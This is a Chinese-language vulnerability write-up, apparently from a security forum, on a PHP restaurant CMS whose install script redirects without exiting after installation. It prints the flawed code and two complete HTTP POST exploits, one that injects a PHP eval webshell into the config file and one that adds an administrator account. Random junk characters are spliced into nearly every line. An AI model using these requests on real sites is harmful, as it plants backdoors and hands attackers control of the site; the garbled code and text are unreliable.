问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。
5 o: G& o& E% g, r# c8 `6 D. o I/ o& e2 e. G4 C
<?php; U$ M" a. {; F9 R$ X$ E
if(file_exists("../install.lock"))
! {/ J/ ^# y: `. u {& [{4 r+ v7 r8 S# X" o) S
header("Location: ../");//没有退出
! q; `8 J, j5 H2 m}
- @/ q- G r( M; e6 e
7 }5 {6 z1 g; u4 y1 b//echo 'tst';exit;
& H( I# c' r# R1 rrequire_once("init.php");
) X( U) y4 V/ u# O& w' J9 Mif(empty($_REQUEST['step']) || $_REQUEST['step']==1)
. h4 o/ @6 X/ A0 C7 z- R{
* z. ` ~9 A9 F8 r, ?: ]可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。: ~; z6 o) x3 ^+ k+ M
: w" D7 q; y# m0 }2 p) j1、getshell(很危险)
) a% c+ S h* J9 Kif(empty($_REQUEST['step']) || $_REQUEST['step']==1)$ o% i+ s) r2 v
{; |/ U1 H8 Q8 X/ Y
$smarty->assign("step",1);
4 y/ {- E% D4 ]3 F i# f) r+ G$smarty->display("index.html");
, G) Q {+ h" I* \}elseif($_REQUEST['step']==2)
, ?* t7 O" ]. A: c' M{" T! h E$ h k8 U2 g
$mysql_host=trim($_POST['mysql_host']);, ^* T7 F: F2 O/ R1 E
$mysql_user=trim($_POST['mysql_user']);( U6 q: z( f6 ]
$mysql_pwd=trim($_POST['mysql_pwd']);
9 l8 M& \4 F& T2 V3 K T $mysql_db=trim($_POST['mysql_db']);
" K: t i1 \' `* `, ~ $tblpre=trim($_POST['tblpre']);
+ M3 p# ?( ^. T1 P! g# V* A $domain==trim($_POST['domain']);
2 B, w! B- l! ?7 t7 Y* G1 G $str="<?php \r\n";/ o' c" M q: C% N+ |
$str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";
) A. U2 O( e& h# X: j: _* H4 y $str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";
+ u0 F9 U8 h- K, _ $str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";
: ]" I: ?" U4 y# S6 {+ c $str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";
. r- D4 ~ {3 x $str.='define("MYSQL_CHARSET","GBK");'."\r\n";
V2 N7 v! }" G6 ^- z9 s $str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";
2 V5 u. T: G- N1 c $str.='define("DOMAIN","'.$domain.'");'."\r\n";
! x3 S0 G; H4 V& z( W) z* Q $str.='define("SKINS","default");'."\r\n";9 z- p" {) J4 L8 i. }$ n0 Y
$str.='?>';
) A4 F2 p% h0 I5 M3 v. m file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件6 v8 _% e2 b$ F5 F
上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马
9 n- S. |2 V+ q% ZPOST /canting/install/index.php?m=index&step=2 HTTP/1.1
# G, l1 R& m! p2 h2 e' dHost: 192.168.80.1294 ^: N, i8 F0 ^! M+ Y
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
0 Q: y- V3 X J6 V& WAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
/ H# ]6 b, ~7 e, H9 c8 P' lAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
6 a7 N0 H' @! M$ w4 jAccept-Encoding: gzip, deflate5 G/ ^# Q( e( ^" v
Referer: http://192.168.80.129/canting/install/index.php?step=1' D2 X7 r- c9 v: p6 u0 p7 M
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc424 G" d1 P( ~+ w: v# k
Content-Type: application/x-www-form-urlencoded" `2 K2 j6 ~8 I/ u
Content-Length: 126
" u( i# A4 R* s) P$ U& M+ H' b$ }. O
: a; b$ c U& O, j8 `1 T! {mysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD
Z$ I( U9 i, S! [* x% C" Z但是这个方法很危险,将导致网站无法运行。) V% W4 {# j6 t1 @2 k/ c5 ]! b2 ^
7 |7 Z! y; @- S" U
2、直接添加管理员! M' {7 N5 _6 |- [2 D; D
& b/ U; d% G3 B' L
elseif($_REQUEST['step']==5)* T: Q4 h9 U! D6 G$ S& M# r
{! R+ Z% A& L, m/ k' e& x: x
if($_POST)
+ n" b# o4 _; p) |$ r6 A: ?' l { require_once("../config/config.inc.php");
- ?1 G7 y! X2 t $link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);
' o% u \. Q& O/ x mysql_select_db(MYSQL_DB,$link);+ ~6 _8 O% _5 f8 _
mysql_query("SET NAMES ".MYSQL_CHARSET );7 S- h" p1 O. K; H% ?
mysql_query("SET sql_mode=''");
( K9 C+ b* `8 M# z" n8 \
" i$ ^% t, O3 C4 `1 w" J2 I $adminname=trim($_POST['adminname']);5 t! J( w& K/ |; T6 _
$pwd1=trim($_POST['pwd1']); \: t; M7 f( n
$pwd2=trim($_POST['pwd2']);
! S& A) n, |- f3 N if(empty($adminname))! h$ ?- m1 m+ O: Y; A8 a
{9 c0 | z2 I: K
& @ ?) Q+ K7 G4 T$ Q4 ?
echo "<script>alert('管理员不能为空');history.go(-1);</script>";
% W+ e7 I9 w) P# P+ P- X exit();1 Z2 [4 k! ?" |) B# `4 P5 i, l0 b9 }! p
}
6 }4 T0 L2 p' ]$ v& n2 t; ~ if(($pwd1!=$pwd2) or empty($pwd1)), _- V) U+ [" @
{( {$ I9 w) d7 p# f% t% u: m1 ^
echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出% Y- M8 G A/ D: v9 W( t: ]1 l! M
}
5 w" H# ^* @% r, p/ v9 x: M! y mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员4 y7 t8 l2 ^0 {% ~. m/ ]0 l* i- _
}6 ^+ w6 j/ r; r- Q
这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:9 g$ F, W! R$ n7 I' e Y0 ] _* B
POST /canting/install/index.php?m=index&step=5 HTTP/1.1
3 _; J" r6 g( Z) i( l) O6 X' NHost: 192.168.80.129
# O# Q0 A) G1 f4 V5 n- uUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.03 b9 @/ j2 |( G& x9 w% ^ l& Q( A
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
1 M3 M0 a& M7 X; d( ]" N: ?- qAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
4 |4 M, D/ L, R. b( hAccept-Encoding: gzip, deflate
. J! Y) l1 }1 v+ R8 zReferer: http://www.2cto.com /canting/install/index.php?step=1) [5 X* k* H# B4 }9 T" _- Q
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42) F# Y' V6 X7 v* \" h
Content-Type: application/x-www-form-urlencoded
! ?# l; g7 p7 c* T E$ XContent-Length: 46' p" X9 S8 K& p8 p; Y8 O9 N/ N
5 W8 a j6 D9 R- R4 P6 \
adminname=qingshen&pwd1=qingshen&pwd2=qingshen
& |5 e7 K3 X& x- S; X6 h; h |